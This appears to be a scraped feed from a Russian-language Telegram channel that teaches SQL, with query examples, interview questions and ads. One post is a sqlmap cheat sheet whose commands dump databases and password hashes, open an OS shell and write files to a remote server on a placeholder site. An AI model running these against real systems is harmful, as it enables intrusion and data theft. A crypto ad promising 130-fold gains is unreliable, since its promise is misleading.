Изучаем SQL с нуля По всем вопросам @valentin_mascarov Реклама на бирже - https://telega.in/c/SQl_and_DB_Learning № 4974313625
Как хранить сеть дорог в БД для построения маршрута?
Смотреть статью
🖥 Предположим, что нам необходимо получить данные о сотруднике, имеющем вторую по величине зарплату в компании. Мы можем использовать следующий запрос:WITH employee_ranking AS (
SELECT
employee_id,
last_name,
first_name,
salary,
RANK() OVER (ORDER BY salary DESC) as ranking
FROM employee
)
SELECT
employee_id,
last_name,
first_name,
salary
FROM employee_ranking
WHERE ranking = 2
Условие WHERE ranking = 2 используется для фильтрации строк второй по величине зарплаты. Обратите внимание, что на позиции 2 может находиться более одного сотрудника, если у них одинаковая зарплата.
PostgreSQL 17: архитектура и тюнинг SQL-запросов
Погрузись в архитектуру и прокачай оптимизацию запросов одной из самых популярных open source СУБД – PostgreSQL.
🌐 В программе курса:
🤩 Разберем, как работают СУБД вообще и PostgreSQL в частности: что такое MVCC, ACID, WAL, LRU, PPC/TPC и другие фундаментальные понятия архитектуры баз данных
🤩 Получите свой собственный выделенный облачный PostgreSQL-сервер (8 vCPU, 12G RAM, 100G NVMe) – БЕСПЛАТНО на время обучения предоставляется
🤩 Получите теорию и практику EXPLAIN и EXPLAIN ANALYZE на разных типа запросов
🤩 Изучите архитектуру хранения данных в PostgreSQL, типы и особенности индексов, а также получите полезные советы и трюки оптимизации БД
🗓 Старт курса: 6 марта. Продолжительность: 5 недель обучения (четверг, 18:00 МСК).
Изучить программу и записаться можно здесь.
🤩Кто мы: R&D-центр Devhands, основатель школы Алексей Рыбак.
Автор курса — Николай Ихалайнен, эксперт по СУБД (ex-Percona), со-основатель MyDB, энтузиаст открытого ПО.
Реклама. ИП Рыбак А.А. ИНН 771407709607 Erid: 2VtzqvSHeZb
NULL-значения в PostgreSQL: правила и исключения
Смотреть статью
TRUNCATE мгновенно удаляет все строки в таблице
Одновременно удалите строки из дочерних таблиц с помощью функцииTRUNCATE TABLE ... CASCADE
Для этого внешние ключи должны быть ON DELETE CASCADE
💸 Вакансии для IT'шников
Выбери своё направление ⤵
1. Frontend
2. Python
3. Java
4. Тестировщик QA
5. Data Science
6. DevOps
7. C#
8. С/C++
9. Golang
10. PHP
11. Kotlin
12. Swift
13. Node.js
14. 1C
15. Flutter / Dart
16. Unity
17. Product Manager
18. Project Manager
19. System Analyst
20. Bussines Analyst
#Вопросы_с_собеседования
❓При выборке из таблицы workers выведите дату в формате '31.12.2025'
Ответ на картинке.
Задача
Выбрать все записи из таблицы tbl_name и отсортировать их по полю id в обратном порядке.
🔐 Шпаргалка по использованию sqlmap
SQLMAP — это инструмент для проникновения с открытым исходным кодом.
SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .
Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.
🌟 Базовый скан URL на наличие уязвимостей:
sqlmap -u "http://example.com/page.php?id=1"
sqlmap -u "http://example.com/page.php?id=1" --dbs
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump
sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"
sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user
sqlmap -u "http://example.com/page.php?id=1" --os-shell
sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"
sqlmap -u "http://example.com/page.php?id=1" --is-dba
sqlmap -u "http://example.com/page.php?id=1" --passwords
sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns
sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
sqlmap -u "http://example.com/page.php?id=1" --banner
Читать полностью…
sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"
Шпаргалка по SQL (postgres), которая выручает меня на собесах
Смотреть статью
Всем привет! На канале Бизнес, IT и статистика разбираются темы и вопросы, которые должен знать аналитик данных, имеющий опыт 3-6 лет. Все темы взяты из реальных вакансий, опубликованных на hh.ru.
Если вы являетесь аналитиком данных (начинающим или опытным) или работаете по смежной профессии, либо просто интересуетесь базами данных, Python, SQL, экономикой и финансами и всеми производными от этих тем - добро пожаловать на канал!
🟠Список разобранных вопросов:
✅Python:
▶️Эмбеддинги предложений
▶️Алгоритм кластеризации
▶️Кластеризация текстовой информации
✅SQL и базы данных:
▶️PARTITION в SQL
▶️Какие бывают базы данных
▶️Виды БД наглядно
▶️ACID и BASE
▶️Обзор ClickHouse
▶️arraySort, arrayReverseSort и arrayFilter в ClickHouse
✅А/Б тестирование:
▶️Основы А/Б тестов
▶️А/Б тесты на практике
▶️Математические методы проверки результатов
▶️Инструменты А/Б тестирования
✅OLAP-кубы
✅Статистика:
▶️Парадокс Симпсона
🟠В ближайшем будущем будем разбирать:
▶️Больше про базы данных, архитектуру и т.п.
▶️SQL (в частности вложенные запросы, процедуры, функции, пакеты, циклы, курсор)
▶️Больше питоновских библиотек
▶️Hadoop, Airflow, Hive, Clickhouse, pyspark
▶️BI инструменты
▶️Apache Zeppelin, Apache Superset, Redash
+ советы и наблюдения из практики, немного про экономику и статистику и актуальные тематические новости
Реклама. Куликов М.Д. ИНН 502413079218. erid: 2W5zFJHcymJ
SQL — Числовые функции. Подробная шпаргалка.
Смотреть
#Вопросы_с_собеседования
❓Получите SQL запросом все возрасты без дублирования
Ответ картинке.
LeetCode теперь в Telegram!
LeetCode — это сайт, который позволяет быстро готовиться к техническим собеседованиям по программированию. Там публикуются задачи с собеседований в Google и Microsoft с решениями.
Подписывайтесь: @leetcode
Простой и эффективный метод удаления дубликатов из таблицы
Предположим, у нас есть простая таблица с двумя столбцами: id – это первичный ключ и v простое целочисленное значение
Приведенный код создает таблицу и вставляет несколько значений. Выведем на экран все строки из нашей тестовой таблицы. Как видите, id имеет уникальные значения, но поле val имеет содержит дубликаты (фото 1).
Наша задача состоит в том, чтобы удалить строки с поввторяющимися значениями в столбце val и сохранить уникальные значения с минимальным значением идентификатора id.
Для начала попробуем найти дубликаты. Мы можем использовать простое LEFT JOIN таблицы самой с собой по полю val с дополнительным условием для предотвращения объединения идентичных строк (для наглядности дадим алиасы для таблицы и копии) (фото 2).
В конечном итоге видно, что уникальные строки с минимальным id имеют (null) в столбцах из copy_tbl. Это происходит потому что для минимального значения id в исходной таблице нет строк соответсвующих условию в таблице копии. Итак, нам нужно оставить строки в которых нет соответствия (уникальные) и удалить. Это можно осуществить следующим запросом (фото 2).
Делаем SQL-запросы чище
Периодически в коде запросов и "заточенных" под них индексов наблюдаю примерно подобные куски:
coalesce("Фамилия", '') || ' ' || coalesce("Имя", '') || ' ' || coalesce("Отчество", '')
' Иван Иванович'
или 'Иванов Иван '
.concat_ws(' ', "Фамилия", "Имя", "Отчество")Читать полностью…
#Вопросы_с_собеседования
В чем разница между функциями NOW() и CURRENT_DATE() в PostgreSQL/MySQL? NOW()
возвращает время, когда начал исполняться оператор.
Основное различие между NOW()
и CURRENT_DATE()
заключается в том, что NOW()
получает текущую дату и время в формате 'YYYY-MM-DD HH:MM:SS'
, а CURRENT_DATE()
получает дату текущего дня 'YYYY-MM-DD'.
У Nvidia снова проблемы с разъемами? Рассказываем, как не ошибиться в выборе железа!
Можно бесконечно читать новости про плавящиеся коннекторы, но лучше просто взять правильное железо и не волноваться.
Мы собрали гайд по выбору оборудования для LLM, где разобрали всё по полочкам:
🔹Какие бывают задачи?
🔹Какие требования к железу для конкретной задачи?
🔹На что обратить внимание при выборе сервера?
Выбрать железо, которое не подведёт в самый ответственный момент: @artificial_intelion_bot
Аномалии под нагрузкой в PostgreSQL: о чём стоит помнить и с чем надо бороться
Читать статью
Создание поля, объединяющего имя и зарплату в выборке из таблицы пользователей
Для создания поля, которое будет включать в себя и имена, и зарплату, можно использовать функцию CONCAT(). Она объединяет две или более строковые величины в одну строку.
Пример SQL-запроса для создания поля new_field на фото.
В примере мы выбираем таблицу users и создаем новое поле с помощью функции CONCAT(). Внутри функции указываем два поля, которые хотим объединить - name и salary. Также задаем новое имя для созданного поля - new_field, используя AS.
Теперь в результате выполнения запроса в выборке будет присутствовать новое поле new_field, которое будет содержать имя пользователя и его зарплату.
Каким образом можно получить список клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев?
Для получения списка клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев, можно использовать подзапросы и агрегатные функции.
Надежный подход к решению этой задачи включает подзапрос, который связывается с основной таблицей по идентификатору клиента (customer_id). В подзапросе используется агрегатная функция COUNT() для подсчета количества уникальных месяцев, в которых клиент сделал заказ, и группировка по месяцу (MONTH()). Затем условие HAVING применяется к подзапросу для определения, что клиент сделал заказ во всех трех месяцах.
Если бы вы купили TRUMP coin на старте на 1000$, то уже сейчас у вас бы было 130.000$
Только вдумайтесь: Утром покупаете монет на 1000$, а уже через день 1000$ превратилась в 130.000$. Неплохо, правда?
Чтобы быть в тренде – достаточно читать Максима Гусева
Там рассказывают кейсы, как с 1000$ колотят состояние, а не просирают все.
Если хотите разбираться в мире крипты, вам сюда: /channel/+fxR-tkBeKItjZjM6
#Вопросы_с_собеседования
❓Выберите из таблицы workers все записи за первую декаду любого месяца 2016 года
Ответ на картинке.
#Вопросы_с_собеседования
Вывести список клиентов, сделавших заказы в период с 1 января 2020 года по 31 декабря 2020 года
Ответ на картинке.
#Вопросы_с_собеседования
❓Переименуйте таблицу table2 в table3
Ответ на картинке.
DROP COLUMN
Чтобы удалить определенный столбец из таблицы, мы сделаем следующее.
#Вопросы_с_собеседования
❓Объясните различные типы нормализации
Существует много последовательных уровней нормализации. Это так называемые нормальные формы. Каждая последующая нормальная форма включает предыдущую. Первых трех нормальных форм обычно достаточно.
• Первая нормальная форма (1NF) — нет повторяющихся групп в строках
• Вторая нормальная форма (2NF) — каждое неключевое (поддерживающее) значение столбца зависит от всего первичного ключа
• Третья нормальная форма (3NF) — каждое неключевое значение зависит только от первичного ключа и не имеет зависимости от другого неключевого значения столбца
#Вопросы_с_собеседования
❓Выберите из таблицы workers все записи так, чтобы вместо id было userId, вместо login – userLogin, вместо salary - userSalary
Ответ на картинке.